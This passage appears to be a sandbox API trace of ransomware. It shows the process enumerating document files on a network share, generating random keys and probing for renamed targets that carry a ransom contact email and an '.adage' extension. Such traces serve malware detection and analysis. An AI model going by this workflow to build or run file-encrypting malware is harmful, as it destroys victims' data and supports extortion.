[0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.604] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.605] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.606] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.608] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.609] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.610] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.611] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.612] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.824] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0139.825] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.108] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=88198) returned 1 [0140.108] CloseHandle (hObject=0x2b4) returned 1 [0140.108] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots")) returned 0x80 [0140.110] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.110] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.330] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.330] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.345] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=93824) returned 1 [0140.346] CloseHandle (hObject=0x2b0) returned 1 [0140.346] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots")) returned 0x80 [0140.346] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.346] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.472] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.472] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.565] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=46756) returned 1 [0140.565] CloseHandle (hObject=0x2b0) returned 1 [0140.565] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots")) returned 0x80 [0140.566] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.566] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.612] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.612] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.647] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=41692) returned 1 [0140.647] CloseHandle (hObject=0x2b0) returned 1 [0140.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt")) returned 0x80 [0140.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.647] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.670] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.670] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.690] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=66438) returned 1 [0140.690] CloseHandle (hObject=0x2b0) returned 1 [0140.690] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots")) returned 0x80 [0140.691] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.691] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.723] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.723] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.730] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=75049) returned 1 [0140.730] CloseHandle (hObject=0x2b0) returned 1 [0140.731] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt")) returned 0x80 [0140.731] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.731] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.761] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.761] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.778] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=88671) returned 1 [0140.778] CloseHandle (hObject=0x2b0) returned 1 [0140.778] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt")) returned 0x80 [0140.779] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.779] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.838] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.838] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.846] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=37248) returned 1 [0140.846] CloseHandle (hObject=0x2b0) returned 1 [0140.846] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt")) returned 0x80 [0140.847] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.847] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.864] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.864] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.872] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=58916) returned 1 [0140.872] CloseHandle (hObject=0x2b0) returned 1 [0140.872] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt")) returned 0x80 [0140.872] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.872] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.979] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0140.979] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.996] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=69360) returned 1 [0140.996] CloseHandle (hObject=0x2b0) returned 1 [0140.997] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots")) returned 0x80 [0140.997] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.997] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.071] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0141.071] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.087] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=64751) returned 1 [0141.087] CloseHandle (hObject=0x2b0) returned 1 [0141.087] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots")) returned 0x80 [0141.088] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.088] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.133] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0141.133] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.157] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=60271) returned 1 [0141.157] CloseHandle (hObject=0x2b0) returned 1 [0141.158] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots")) returned 0x80 [0141.158] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.158] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.181] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0141.182] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.198] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=91750) returned 1 [0141.198] CloseHandle (hObject=0x2b0) returned 1 [0141.198] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt")) returned 0x80 [0141.199] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.199] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.230] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0141.230] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.251] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=39368) returned 1 [0141.251] CloseHandle (hObject=0x2b0) returned 1 [0141.251] GetFileAttributesW 